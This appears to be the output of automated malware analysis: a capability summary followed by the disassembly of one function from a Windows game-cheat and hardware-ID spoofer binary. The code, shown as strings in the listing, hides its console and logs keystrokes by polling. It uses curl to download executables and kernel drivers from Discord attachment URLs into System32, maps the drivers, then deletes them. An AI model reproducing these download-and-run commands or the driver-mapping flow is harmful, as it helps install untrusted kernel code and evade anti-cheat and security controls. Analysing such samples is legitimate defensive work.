Function at 0x14001dda0
Capabilities:
Check for time delay via queryperformancecounter
Delete file
Encode data using xor
Execute command
Log keystrokes via polling
Resolve function by parsing pe exports
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0xc0]
sub rsp, 0x1c0
mov rax, qword [0x14002a010]
xor rax, rsp
mov qword [rbp + 0x80], rax
mov r14, rcx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 0xfffffff0
mov rbx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov edx, 0xfffffff0
mov rcx, rbx
and eax, 0xfffaffff
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea rdx, [rbp - 0x38]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
lea rdx, [rbp - 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
lea rcx, str.Color_90
mov qword [rbp - 0x20], 0x54
xor edi, edi
mov qword [rbp - 0x18], 0xf0000
mov dword [rbp - 0x10], 0x190
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r8, [rbp - 0x20]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentConsoleFontEx]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov dword [rsp + 0x28], 1
mov r9d, 0x15e
mov rcx, rax
mov dword [rsp + 0x20], 0xe6
xor r8d, r8d
xor edx, edx
mov rbx, rax
call qword [sym.imp.USER32.dll_MoveWindow]
mov r9d, 0xa
mov dword [rsp + 0x30], 5
mov r8d, r9d
mov dword [rsp + 0x28], edi
lea rdx, [rdi - 1]
mov dword [rsp + 0x20], edi
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetWindowPos]
lea edx, [rdi - 0x10]
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowLongA]
lea edx, [rdi - 0x10]
mov rcx, rbx
and eax, 0xfff0ffff
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea rdx, [rbp - 0x58]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx ecx, word [rbp - 0x4a]
sub cx, word [rbp - 0x4e]
inc cx
mov word [rsp + 0x60], cx
movzx ecx, word [rbp - 0x48]
sub cx, word [rbp - 0x4c]
inc cx
mov word [rsp + 0x62], cx
test rsi, rsi
je 0x14001efdc
mov edx, dword [rsp + 0x60]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
lea edx, [rdi - 0x14]
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowLongA]
lea edx, [rdi - 0x14]
mov rcx, rbx
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
lea r9d, [rdi + 2]
mov r8b, 0xff
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Connecting_______n
call fcn.14001f000
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Connecting_to_API________n
call fcn.14001f000
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Success_Fully_Connected________n
call fcn.14001f000
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Connected_Have_Fun_______n
call fcn.14001f000
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140025474]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140021620]
call fcn.14001f000
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140021620]
call fcn.14001f000
lea rcx, str._CIPHER.CC
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movdqa xmm0, xmmword [0x140025720]
mov ecx, edi
movdqu xmmword [rbp - 0x58], xmm0
mov dword [rbp - 0x48], 0x9bf98490
mov dword [rbp - 0x44], 0xfbfa9a
mov byte [rbp - 0x40], 1
nop word [rax + rax]
lea eax, [rcx - 0x3b]
xor byte [rbp + rcx - 0x58], al
inc rcx
cmp rcx, 0x17
jb 0x14001e050
lea rcx, [rbp - 0x58]
mov byte [rbp - 0x40], dil
mov qword [rbp + 0x20], rcx
lea rax, [0x14001dcc0]
xor ecx, ecx
mov qword [rbp - 0x20], 3
mov edx, 0x7f00
mov qword [rbp - 0x10], rdi
mov qword [rbp], rdi
mov qword [rbp + 0x18], rdi
mov qword [rbp - 0x18], rax
mov qword [rbp - 8], r14
call qword [sym.imp.USER32.dll_LoadCursorA]
lea rcx, [rbp - 0x20]
mov qword [rbp + 0x10], 0xc
mov qword [rbp + 8], rax
call qword [sym.imp.USER32.dll_RegisterClassA]
test ax, ax
jne 0x14001e0c1
mov eax, 1
jmp 0x14001efac
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x40]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rbp + 0x48]
mov rcx, rdi
movdqa xmm0, xmmword [0x140025720]
cdq
sub eax, edx
mov dword [rbp - 0x68], 0x9bf98490
sar eax, 1
movdqu xmmword [rbp - 0x78], xmm0
mov dword [rbp - 0x64], 0xfbfa9a
mov byte [rbp - 0x60], 1
lea r8d, [rax - 0x96]
mov eax, 0x55555556
imul dword [rbp + 0x4c]
mov r9d, edx
shr r9d, 0x1f
add r9d, 0xffffffb5
add r9d, edx
nop dword [rax + rax]
lea eax, [rcx - 0x3b]
xor byte [rbp + rcx - 0x78], al
inc rcx
cmp rcx, 0x17
jb 0x14001e120
mov qword [rsp + 0x58], rdi
lea rdx, [rbp - 0x58]
mov qword [rsp + 0x50], r14
xor ecx, ecx
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x38], 0xe6
mov dword [rsp + 0x30], 0x118
mov dword [rsp + 0x28], r9d
mov r9d, 0x80000000
mov dword [rsp + 0x20], r8d
lea r8, [rbp - 0x78]
mov byte [rbp - 0x60], dil
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rbx, rax
test rax, rax
jne 0x14001e188
lea eax, [rbx + 2]
jmp 0x14001efac
mov ecx, 0x20
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov rsi, rax
test rax, rax
jne 0x14001e1a8
mov rdx, r14
lea rcx, [rbp - 0x58]
call qword [sym.imp.USER32.dll_UnregisterClassA]
lea rcx, [0x14002e260]
mov qword [0x14002e270], rdi
mov qword [rsp + 0x30], rcx
xor edx, edx
mov qword [0x14002e27c], rdi
lea rcx, [0x14002e270]
mov qword [rsp + 0x28], rcx
mov r9, rbx
mov dword [0x14002e284], edi
mov rcx, rsi
mov qword [0x14002e28c], rdi
lea r8d, [rdx + 1]
mov dword [0x14002e294], edi
mov qword [0x14002e2a4], rdi
mov dword [0x14002e298], 1
mov dword [0x14002e288], 1
mov dword [0x14002e278], edi
mov dword [0x14002e29c], 1
mov dword [0x14002e2a0], 0x50
mov dword [0x14002e2ac], 1
mov rax, qword [rsi]
mov dword [rsp + 0x20], 0x40
call qword [rax + 0x80]
test eax, eax
jns 0x14001e25c
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x10]
mov rdx, r14
lea rcx, [rbp - 0x58]
call qword [sym.imp.USER32.dll_UnregisterClassA]
jmp 0x14001efaa
mov rax, qword [0x14002e260]
lea rcx, [0x14002e258]
mov qword [0x14002e238], rax
mov qword [0x14002e248], rbx
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14001e345
lea rcx, [0x14002e250]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14001e345
mov rcx, qword [0x14002a048]
lea rax, [0x14001d020]
mov qword [rcx + 0xc8], rax
mov rax, qword [0x14002e248]
mov qword [rcx + 0x100], rax
mov dword [rcx + 0x34], 9
mov dword [rcx + 0x38], 0x25
mov dword [rcx + 0x3c], 0x27
mov dword [rcx + 0x40], 0x26
mov dword [rcx + 0x44], 0x28
mov dword [rcx + 0x48], 0x21
mov dword [rcx + 0x4c], 0x22
mov dword [rcx + 0x50], 0x24
mov dword [rcx + 0x54], 0x23
mov dword [rcx + 0x58], 0x2e
mov dword [rcx + 0x5c], 8
mov dword [rcx + 0x60], 0xd
mov dword [rcx + 0x64], 0x1b
mov dword [rcx + 0x68], 0x41
mov dword [rcx + 0x6c], 0x43
mov dword [rcx + 0x70], 0x56
mov dword [rcx + 0x74], 0x58
mov dword [rcx + 0x78], 0x59
mov dword [rcx + 0x7c], 0x5a
jmp 0x14001e34c
mov rcx, qword [0x14002a048]
movaps xmmword [rsp + 0x1b0], xmm6
movaps xmmword [rsp + 0x1a0], xmm7
movaps xmmword [rsp + 0x190], xmm8
mov dword [rcx + 0x1480], 0x3f800000
mov dword [rcx + 0x1484], 0x3f800000
mov dword [rcx + 0x1488], 0x3f800000
mov dword [rcx + 0x148c], 0x3f800000
mov dword [rcx + 0x1490], 0x3eb33333
mov dword [rcx + 0x1494], 0x3eb33333
mov dword [rcx + 0x1498], 0x3eb33333
mov dword [rcx + 0x149c], 0x3f800000
mov dword [rcx + 0x14a0], 0x3de147ae
mov dword [rcx + 0x14a4], 0x3df5c28f
mov dword [rcx + 0x14a8], 0x3e19999a
mov dword [rcx + 0x14ac], 0x3f800000
mov dword [rcx + 0x14c0], 0x3da3d70a
mov dword [rcx + 0x14c4], 0x3da3d70a
mov dword [rcx + 0x14c8], 0x3da3d70a
mov qword [rcx + 0x14cc], 0x3f70a3d7
mov qword [rcx + 0x14d4], rdi
mov qword [rcx + 0x14dc], 0x3f000000
mov qword [rcx + 0x14e4], rdi
mov dword [rcx + 0x14ec], edi
mov dword [rcx + 0x14f0], 0x3e4ccccd
mov dword [rcx + 0x14f4], 0x3e4ccccd
mov dword [rcx + 0x14f8], 0x3e4ccccd
mov dword [rcx + 0x14fc], 0x3f0a3d71
mov dword [rcx + 0x1500], 0x3e947ae1
mov dword [rcx + 0x1504], 0x3f028f5c
mov dword [rcx + 0x1508], 0x3f19999a
mov dword [rcx + 0x150c], 0x3f2b851f
mov dword [rcx + 0x1510], 0x3e9eb852
mov dword [rcx + 0x1514], 0x3f11eb85
mov dword [rcx + 0x1518], 0x3f2b851f
mov dword [rcx + 0x151c], 0x3f2b851f
mov dword [rcx + 0x1520], 0x3d23d70a
mov dword [rcx + 0x1524], 0x3d23d70a
mov dword [rcx + 0x1528], 0x3d23d70a
mov dword [rcx + 0x152c], 0x3f800000
mov dword [rcx + 0x1540], 0x3ef5c28f
mov dword [rcx + 0x1544], 0x3e23d70a
mov dword [rcx + 0x1548], 0x3e23d70a
mov dword [rcx + 0x154c], 0x3f800000
mov dword [rcx + 0x1530], 0x3ef5c28f
mov dword [rcx + 0x1534], 0x3e23d70a
mov dword [rcx + 0x1538], 0x3e23d70a
mov dword [rcx + 0x153c], 0x3f800000
mov dword [rcx + 0x1550], 0x3e0f5c29
mov dword [rcx + 0x1554], 0x3e0f5c29
mov dword [rcx + 0x1558], 0x3e0f5c29
mov dword [rcx + 0x155c], 0x3f800000
mov dword [rcx + 0x1560], 0x3ca3d70a
mov dword [rcx + 0x1564], 0x3ca3d70a
mov dword [rcx + 0x1568], 0x3ca3d70a
mov dword [rcx + 0x156c], 0x3f07ae14
mov dword [rcx + 0x1570], 0x3e9eb852
mov dword [rcx + 0x1574], 0x3e9eb852
mov dword [rcx + 0x1578], 0x3e9eb852
mov dword [rcx + 0x157c], 0x3f800000
mov dword [rcx + 0x1580], 0x3ed1eb85
mov dword [rcx + 0x1584], 0x3ed1eb85
mov dword [rcx + 0x1588], 0x3ed1eb85
mov dword [rcx + 0x158c], 0x3f800000
mov dword [rcx + 0x1590], 0x3f028f5c
mov dword [rcx + 0x1594], 0x3f028f5c
mov dword [rcx + 0x1598], 0x3f028f5c
mov dword [rcx + 0x159c], 0x3f800000
mov dword [rcx + 0x15b0], 0x3eb33333
mov dword [rcx + 0x15b4], 0x3f35c28f
mov dword [rcx + 0x15b8], 0x3f59999a
mov dword [rcx + 0x15bc], 0x3f800000
mov dword [rcx + 0x15c0], 0x3f800000
mov dword [rcx + 0x15c4], 0x3e428f5c
mov dword [rcx + 0x15c8], 0x3e428f5c
mov dword [rcx + 0x15cc], 0x3ecccccd
mov qword [rcx + 0x15d0], 0x3f63d70a
mov dword [rcx + 0x15d8], 0x3e428f5c
mov dword [rcx + 0x15dc], 0x3f800000
mov qword [rcx + 0x15e0], 0x3f800000
mov dword [rcx + 0x15e8], 0x3eb33333
mov dword [rcx + 0x15ec], 0x3ecccccd
mov qword [rcx + 0x15f0], 0x3f333333
xorps xmm0, xmm0
mov dword [rcx + 0x15f8], 0x3e851eb8
mov edx, 0xa
mov dword [rcx + 0x15fc], 0x3f800000
mov qword [rcx + 0x1600], 0x3eeb851f
mov dword [rcx + 0x1608], 0x3e2e147b
mov dword [rcx + 0x160c], 0x3f800000
mov dword [rcx + 0x1610], 0x3ea8f5c3
mov dword [rcx + 0x1614], 0x3eb33333
mov dword [rcx + 0x1618], 0x3eb851ec
mov dword [rcx + 0x161c], 0x3f07ae14
mov dword [rcx + 0x1620], 0x3f428f5c
mov dword [rcx + 0x1624], 0x3e8f5c29
mov dword [rcx + 0x1628], 0x3ee147ae
mov dword [rcx + 0x162c], 0x3f2b851f
mov dword [rcx + 0x1630], 0x3ef0a3d7
mov dword [rcx + 0x1634], 0x3ef0a3d7
mov dword [rcx + 0x1638], 0x3ef0a3d7
mov dword [rcx + 0x163c], 0x3f2b851f
mov dword [rcx + 0x1670], 0x3f800000
mov dword [rcx + 0x1674], 0x3f800000
mov dword [rcx + 0x1678], 0x3f800000
mov dword [rcx + 0x167c], 0x3f59999a
mov dword [rcx + 0x1680], 0x3f800000
mov dword [rcx + 0x1684], 0x3f800000
mov dword [rcx + 0x1688], 0x3f800000
mov dword [rcx + 0x168c], 0x3f19999a
mov dword [rcx + 0x1690], 0x3f800000
mov dword [rcx + 0x1694], 0x3f800000
mov dword [rcx + 0x1698], 0x3f800000
mov dword [rcx + 0x169c], 0x3f666666
mov dword [rcx + 0x16d0], 0x3f1c28f6
mov dword [rcx + 0x16d4], 0x3f1c28f6
mov dword [rcx + 0x16d8], 0x3f1c28f6
mov dword [rcx + 0x16dc], 0x3f800000
mov dword [rcx + 0x16e0], 0x3f800000
mov dword [rcx + 0x16e4], 0x3edc28f6
mov dword [rcx + 0x16e8], 0x3eb33333
mov dword [rcx + 0x16ec], 0x3f800000
mov dword [rcx + 0x16f0], 0x3f666666
mov qword [rcx + 0x16f4], 0x3f333333
mov dword [rcx + 0x16fc], 0x3f800000
mov dword [rcx + 0x1700], 0x3f800000
mov qword [rcx + 0x1704], 0x3f19999a
mov dword [rcx + 0x170c], 0x3f800000
mov dword [rcx + 0x145c], 0x40133333
mov dword [rcx + 0x1414], 0x41200000
mov qword [rcx + 0x1404], rdi
mov dword [rcx + 0x142c], 0x40800000
mov dword [rcx + 0x1424], 0x40800000
mov dword [rcx + 0x1428], 0x3f800000
mov qword [rcx + 0x1430], rdi
mov qword [rcx + 0x1438], 0x41400000
mov dword [rcx + 0x1450], 0x40c00000
mov rcx, rbx
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rbx
call qword [sym.imp.USER32.dll_UpdateWindow]
cmp dword [rbp + 0x58], 0x12
je 0x14001ef1a
movss xmm7, dword [0x140025598]
movss xmm8, dword [0x140025620]
movss xmm6, dword [0x140025594]
nop word [rax + rax]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0x50]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14001e907
lea rcx, [rbp + 0x50]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x50]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x14001ef10
cmp qword [0x14002e228], rdi
jne 0x14001e91e
cmp qword [0x14002e238], rdi
je 0x14001e91e
call fcn.14001da80
mov rcx, qword [0x14002e248]
lea rdx, [rbp - 0x78]
mov rbx, qword [0x14002a048]
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rbp - 0x70]
lea rcx, [rbp - 0x30]
sub eax, dword [rbp - 0x78]
movd xmm1, eax
mov eax, dword [rbp - 0x6c]
sub eax, dword [rbp - 0x74]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbx + 8], xmm1
movss dword [rbx + 0xc], xmm0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rbp - 0x30]
xorps xmm1, xmm1
sub rax, qword [0x14002e250]
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [0x14002e258]
mov ecx, 0x11
cvtsi2ss xmm1, rax
divss xmm1, xmm0
movss dword [rbx + 0x10], xmm1
mov rax, qword [rbp - 0x30]
mov qword [0x14002e250], rax
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, 0x10
and al, 1
mov byte [rbx + 0x11d], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, 0x12
and al, 1
mov byte [rbx + 0x11e], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x120], dil
mov byte [rbx + 0x11f], al
cmp byte [rbx + 0x11c], dil
je 0x14001e9f1
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetCursor]
call fcn.140003880
cmp byte [0x14002a090], dil
je 0x14001efd3
movdqa xmm0, xmmword [0x140025730]
mov rcx, rdi
movdqu xmmword [rbp - 0x58], xmm0
mov dword [rsp + 0x78], 0x438c0000
mov dword [rsp + 0x7c], 0x43660000
mov dword [rbp - 0x48], 0xf8f7f6f5
mov dword [rbp - 0x44], 0xfcfbfaf9
mov dword [rbp - 0x40], 0xc0fffefd
mov word [rbp - 0x3c], 0xc1
mov byte [rbp - 0x3a], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x3b]
xor byte [rbp + rcx - 0x58], al
inc rcx
cmp rcx, 0x1d
jb 0x14001ea50
movaps xmm3, xmm7
mov byte [rbp - 0x3a], dil
lea r8, [rsp + 0x78]
mov dword [rsp + 0x20], 0x13e
lea rdx, [0x14002a090]
lea rcx, [rbp - 0x58]
call fcn.140007c50
movaps xmm0, xmm8
call fcn.14000b220
lea rcx, str._______________________________________
call fcn.14000b4a0
call fcn.14000ca90
lea rcx, str._______________________________________
call fcn.14000b4a0
mov ecx, 0x73
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x14001eae1
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1151687707647541268_1157081986318475264_applecleaner_2.exe___output_C:WindowsSystem32_applecleaner_2.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem_applecleaner_2.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32_applecleaner_2.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rax, qword [0x14002a048]
mov dword [rsp + 0x60], 0xa7a8b696
mov word [rsp + 0x64], 0xaf
mov byte [rsp + 0x66], 1
mov rcx, qword [rax + 0x1778]
mov dword [rbp - 0x7c], edi
movss xmm0, dword [rcx + 0x24]
mov rcx, rdi
mulss xmm0, xmm6
movss dword [rbp - 0x80], xmm0
nop word [rax + rax]
lea eax, [rcx - 0x3b]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 5
jb 0x14001eb20
lea rdx, [rbp - 0x80]
mov byte [rsp + 0x66], dil
lea rcx, [rsp + 0x60]
call fcn.14000c170
test al, al
je 0x14001ecc5
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Spoofer_starting...._____n
call fcn.14001f000
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, 0x40
lea r8, [0x14002158e]
lea rdx, str.Almost_done_just_wait
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1151687707647541268_1159220660430721044_spoofer_2.sys___output_C:WindowsSystem32_spoofer_2.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1151687707647541268_1159220660430721044_spoofer_2.sys___output_C:WindowsSystem32_spoofer_2.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1151687707647541268_1158385335382843453_Ciphermapper.exe___output_C:WindowsSystem32Ciphermapper.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Ciphermapper.exe_C:WindowsSystem32_spoofer_2.sys_C:WindowsSystem32_spoofer_2.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32_spoofer_2.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32_spoofer_2.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Ciphermapper.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov r9d, 0x40
lea r8, [0x14002158e]
lea rdx, str.ALL_IS_SPOOFED
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1151687707647541268_1158464506549248041_Valo.sys___output_C:WindowsSystem32Valo.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1151687707647541268_1158464506549248041_Valo.sys___output_C:WindowsSystem32Valo.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1151687707647541268_1158385335382843453_Ciphermapper.exe___output_C:WindowsSystem32Ciphermapper.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Ciphermapper.exe_C:WindowsSystem32Valo.sys_C:WindowsSystem32Valo.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Valo.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Valo.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Ciphermapper.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov r9d, 0x40
lea r8, [0x14002158e]
lea rdx, str.ALL_IS_SPOOFED
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str._______________________________________
call fcn.14000b4a0
mov rcx, rdi
mov dword [rsp + 0x68], 0xa9a2aa86
mov dword [rsp + 0x6c], 0xb9afa7
mov byte [rsp + 0x70], 1
nop dword [rax]
lea eax, [rcx - 0x3b]
xor byte [rsp + rcx + 0x68], al
inc rcx
cmp rcx, 7
jb 0x14001ecf0
mov rax, qword [0x14002a048]
lea rdx, [rbp - 0x38]
mov byte [rsp + 0x70], dil
mov dword [rbp - 0x34], edi
mov rcx, qword [rax + 0x1778]
movss xmm0, dword [rcx + 0x24]
lea rcx, [rsp + 0x68]
mulss xmm0, xmm6
movss dword [rbp - 0x38], xmm0
call fcn.14000c170
test al, al
je 0x14001ed8a
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1151687707647541268_1157081986318475264_applecleaner_2.exe___output_C:WindowsSystem32_applecleaner_2.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem_applecleaner_2.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32_applecleaner_2.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov r9d, 0x40
lea r8, [0x14002158e]
lea rdx, str.Cleaned_good_job___
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [0x140025518]
call fcn.14000b4a0
movaps xmm0, xmmword [0x1400256e0]
lea rdx, [0x14002551c]
lea rcx, [rbp - 0x58]
movups xmmword [rbp - 0x58], xmm0
call fcn.14000b520
lea rcx, [0x140025518]
call fcn.14000b4a0
movaps xmm0, xmmword [0x1400256e0]
lea rdx, [0x140025518]
lea rcx, [rbp - 0x58]
movups xmmword [rbp - 0x58], xmm0
call fcn.14000b520
lea rcx, str._______________________________________
call fcn.14000b4a0
movaps xmm0, xmmword [0x1400256c0]
lea rdx, str.__________________Status:
lea rcx, [rbp - 0x58]
movups xmmword [rbp - 0x58], xmm0
call fcn.14000b520
mov rdx, qword [0x14002a048]
mov rax, qword [rdx + 0x1778]
mov byte [rax + 0x8a], 1
mov rcx, qword [rdx + 0x1778]
cmp byte [rcx + 0x8c], dil
jne 0x14001ee64
movss xmm1, dword [rdx + 0x1430]
movss xmm0, dword [rcx + 0xcc]
addss xmm1, dword [rcx + 0xc8]
movss dword [rcx + 0xc0], xmm1
movss dword [rcx + 0xc4], xmm0
mov eax, dword [rcx + 0xe8]
mov dword [rcx + 0xe0], eax
mov eax, dword [rcx + 0xec]
mov dword [rcx + 0xe4], eax
movaps xmm0, xmmword [0x1400256d0]
lea rdx, str.UD_as_fuck_lol
lea rcx, [rbp - 0x58]
movups xmmword [rbp - 0x58], xmm0
call fcn.14000b520
call fcn.14000a840
mov rcx, qword [0x14002e260]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 7]
call qword [rax + 0x1c8]
mov rcx, qword [0x14002e260]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 0x1b]
call qword [rax + 0x1c8]
mov rcx, qword [0x14002e260]
xor r8d, r8d
mov edx, 0xae
mov rax, qword [rcx]
call qword [rax + 0x1c8]
mov rcx, qword [0x14002e260]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x14001eef3
call fcn.1400059c0
mov rcx, qword [0x14002e260]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x14002e260]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
cmp dword [rbp + 0x58], 0x12
jne 0x14001e8d0
call fcn.14001dc30
call fcn.1400047f0
mov rcx, qword [0x14002e260]
mov qword [0x14002e238], rdi
mov qword [0x14002e248], rdi
test rcx, rcx
je 0x14001ef44
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x10]
movdqa xmm0, xmmword [0x140025720]
movdqu xmmword [rbp - 0x58], xmm0
mov dword [rbp - 0x48], 0x9bf98490
mov dword [rbp - 0x44], 0xfbfa9a
mov byte [rbp - 0x40], 1
nop dword [rax]
lea eax, [rdi - 0x3b]
xor byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, 0x17
jb 0x14001ef70
